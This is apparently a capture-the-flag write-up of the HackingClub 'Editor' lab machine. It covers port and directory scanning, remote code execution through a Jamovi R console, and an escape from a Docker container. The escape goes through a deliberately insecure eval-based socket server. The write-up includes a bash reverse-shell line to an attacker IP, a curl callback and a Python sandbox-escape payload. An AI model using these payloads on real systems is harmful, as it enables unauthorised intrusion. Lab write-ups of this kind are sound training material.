↓Skip to main content

[Write-Up] HackingClub: Editor

·8 mins

Editor #

Recon #

Nmap #

┌──(kali㉿kali)-[~/Machines/HC-Editor]
└─$ nmap -sS -sV editor.hc 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-12 18:56 -0400
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 18:56 (0:00:00 remaining)
Nmap scan report for editor.hc (172.16.0.119)
Host is up (0.15s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp  open  http    nginx 1.20.0
111/tcp open  rpcbind 2-4 (RPC #100000)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.45 seconds

We run a nmap scan and find a HTTP server running on default port. Upon acessing that web server we’re redirect to a server on port 41337. We run a scan on that port also:

┌──(kali㉿kali)-[~/Machines/HC-Editor]
└─$ nmap -sV editor.hc -p 41337        
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-12 19:12 -0400
Nmap scan report for editor.hc (172.16.0.119)
Host is up (0.17s latency).

PORT      STATE SERVICE VERSION
41337/tcp open  http    Tornado httpd 5.0

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.76 seconds

Enumeration #

Fuzzing HTTP - Port 80 #

┌──(kali㉿kali)-[/usr/share/wordlists/dirb]
└─$ ffuf -u "http://editor.hc/FUZZ" -w big.txt                                                              

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://editor.hc/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

icons                   [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 155ms]
:: Progress: [20469/20469] :: Job [1/1] :: 267 req/sec :: Duration: [0:01:17] :: Errors: 0 ::

Fuzzing HTTP - Port 41337 #

┌──(kali㉿kali)-[~/Machines/HC-Editor]
└─$ ffuf -u http://editor.hc:41337/FUZZ -w /usr/share/wordlists/dirb/big.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://editor.hc:41337/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

användare               [Status: 500, Size: 93, Words: 7, Lines: 1, Duration: 160ms]
assets                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 151ms]
login                   [Status: 405, Size: 87, Words: 7, Lines: 1, Duration: 170ms]
upload                  [Status: 405, Size: 87, Words: 7, Lines: 1, Duration: 191ms]
version                 [Status: 200, Size: 8, Words: 1, Lines: 2, Duration: 164ms]
:: Progress: [20469/20469] :: Job [1/1] :: 239 req/sec :: Duration: [0:01:27] :: Errors: 0 ::
┌──(kali㉿kali)-[~/Machines/HC-Editor]
└─$ ffuf -u http://editor.hc:41337/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://editor.hc:41337/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

#                       [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 172ms]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 180ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 188ms]
# directory-list-2.3-medium.txt [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 181ms]
                        [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 177ms]
#                       [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 176ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 177ms]
#                       [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 184ms]
# Copyright 2007 James Fisher [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 192ms]
#                       [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 190ms]
# This work is licensed under the Creative Commons  [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 192ms]
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 192ms]
# on atleast 2 different hosts [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 229ms]
# Priority ordered case sensative list, where entries were found  [Status: 200, Size: 1067, Words: 244, Lines: 46, Duration: 229ms]
login                   [Status: 405, Size: 87, Words: 7, Lines: 1, Duration: 182ms]
version                 [Status: 200, Size: 8, Words: 1, Lines: 2, Duration: 171ms]
assets                  [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 147ms]
upload                  [Status: 405, Size: 87, Words: 7, Lines: 1, Duration: 184ms]
Espa%c3%b1ol            [Status: 500, Size: 93, Words: 7, Lines: 1, Duration: 175ms]
Fran%c3%a7ais           [Status: 500, Size: 93, Words: 7, Lines: 1, Duration: 154ms]
%E9%A6%96%E9%A1%B5      [Status: 500, Size: 93, Words: 7, Lines: 1, Duration: 143ms]

Jamovi - Data Analysis Web App #

On port 41337 we find a web app aimed at data analysis and data science. It seems to be a spreadsheet and R application. The application is called Jamovi, running version 0.9.5.5.

Vulnerabilities #

Jamovi - Remote Code Execution #

That application has an space where we can run R commands; I validate through a command that we can run a curl into a web server of ours:

system("curl http://10.0.9.28:8000")

Using the same logic we acquire a reverse shell:

system("/bin/bash -c 'bash -i >& /dev/tcp/10.0.9.28/4444 0>&1'")

As soon as we get a shell we find out we are a root user, which may indicate we’re in a docker environment. We find that there’s a /.dockerenv file. Running systemd-detect-virt we have:

root@b3b0ac9a3a28:/# systemd-detect-virt --container
systemd-detect-virt --container
docker

So we got root, but we only got root on a container. First flag can be acquire here:

root@b3b0ac9a3a28:/# cat /flag
cat /flag
UHC{REDACTED}

Exploitation #

After we got initial shell, the lack of any user on the system but root, the hostname being a random hash and the presence of .dockerenv at root indicate to us that we are inside a Docker container.

root@2631cd5805c2:/# systemctl status
systemctl status
Failed to connect to bus: No such file or directory
root@2631cd5805c2:/# ls -la
ls -la
total 12
drwxr-xr-x   1 root root   29 Aug 14  2021 .
drwxr-xr-x   1 root root   29 Aug 14  2021 ..
-rwxr-xr-x   1 root root    0 Aug 14  2021 .dockerenv
drwxr-xr-x   2 root root 4096 Jul 22  2021 bin
drwxr-xr-x   2 root root    6 Apr 12  2016 boot
drwxr-xr-x   5 root root  340 Jun 22 20:56 dev
drwxr-xr-x   1 root root   66 Aug 14  2021 etc
-rw-r--r--   1 root root   35 Aug 14  2021 flag
drwxr-xr-x   2 root root    6 Apr 12  2016 home
drwxr-xr-x   1 root root   17 Aug 14  2021 lib
drwxr-xr-x   2 root root   34 Jul 22  2021 lib64
drwxr-xr-x   2 root root    6 Jul 22  2021 media
drwxr-xr-x   2 root root    6 Jul 22  2021 mnt
drwxr-xr-x   2 root root    6 Jul 22  2021 opt
dr-xr-xr-x 125 root root    0 Jun 22 20:56 proc
drwx------   1 root root   42 Aug 14  2021 root
drwxr-xr-x   1 root root   27 Aug 14  2021 run
drwxr-xr-x   1 root root   68 Aug 14  2021 sbin
-rw-r--r--   1 root root 1253 Aug 14  2021 server.py
drwxr-xr-x   2 root root    6 Jul 22  2021 srv
dr-xr-xr-x  13 root root    0 Jun 22 20:56 sys
drwxrwxrwt   1 root root   82 Jun 22 20:56 tmp
drwxr-xr-x   1 root root   41 Jul 22  2021 usr
drwxr-xr-x   1 root root   41 Jul 22  2021 var

Privilege Escalation #

To get the second flag, we need a way to escape from the container as privilege escaltion. Doing some recon on the system, we find a server.py.

Server.py #

We’ve found a /server.py script at root. It has some information, including an IP address. This IP address is reachable, when we curl it we get:

root@b3b0ac9a3a28:/# curl http://172.17.0.1:8080
curl http://172.17.0.1:8080
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    37    0    37    0     0  65026      0 --:--:-- --:--:-- --:--:-- 37000
[REMOTE]>[X] Invalid prefix!root@b3b0ac9a3a28:/# 

The contents of that file is shown below, it appears to be an application listening and running arbitrary commands sent through a socket connection, the only “security” that application has, it that it needs to receive a message with the prefix private.

root@2631cd5805c2:/# cat server.py 
import socket

private = "SuperS3cr3tK3y"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # resolve o problema de usar a mesma porta depois de matar o processo
sock.bind(("172.17.0.1", 8080))

sock.listen(2)
print "Waiting for client....!"
while True:
    (client, (ip, port)) = sock.accept()
    print 'client connected with ip as {} and port {}'.format(ip, port)
    data = ""
    while len(data)==0:
       client.send("[REMOTE]>")
       data = client.recv(2048)
    if(data[0:7] != 'private'):
        client.sendall("[X] Invalid prefix!")
        client.close()
    else:
        while len(data):
           cmd=data.replace("__import__","")
           cmd=cmd.replace("|","")
           cmd=cmd.replace('system',"")
           try:
               result = eval(cmd)
           except:
               result="ERROR"
           client.send(str(result))
           client.send("\n[REMOTE]>")
           data = client.recv(2048)
           if(data[0:7] != 'private'):
               client.sendall("[X] Invalid prefix!")
               client.close()
               break

    print "Client closed connection !!! :( "
    client.close()


print "Closing the Socket!!"
sock.close()

Since netcat or telnet is not available at the server, we create a small Python application to connect and send messages to that server:

import socket

HOST = "172.17.0.1"
PORT = 8080

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
    try:
        client_socket.connect((HOST, PORT))
        print("[CONNECTED] Connected to server")

        while True:
            message = input("Message to send: ")

            if message == ":q":
                break

            client_socket.sendall(message.encode("utf-8"))

            print("[SENT]")
            print(message, end="")

            client_socket.settimeout(0.5)
            chunks = []

            try:
                while True:
                    chunk = client_socket.recv(2048)
                    if not chunk:
                        print("[CLOSED] Server closed the connnection")
                        break
                    chunks.append(chunk)
            except socket.timeout:
                pass
            client_socket.settimeout(None)

            full_response = b"".join(chunks)
            print(full_response)
    except ConnectionRefusedError:
        print("[ERROR] Could not connect to the server. Is it running?")
    except (ConnectionResetError, BrokenPipeError):
        print("[ERROr] Connection lost")

Upon some testing, we find that we can run arbitrary Python commands with the payload below:

private.__class__.mro()[2].__subclasses__()[59].__init__.__globals__['sys'].modules['os'].popen('cat root.txt').read()
UHC{REDACTED}

Flags #

  • Container root (Jamovi RCE): UHC{REDACTED}
  • Host root (Python sandbox escape via server.py): UHC{REDACTED}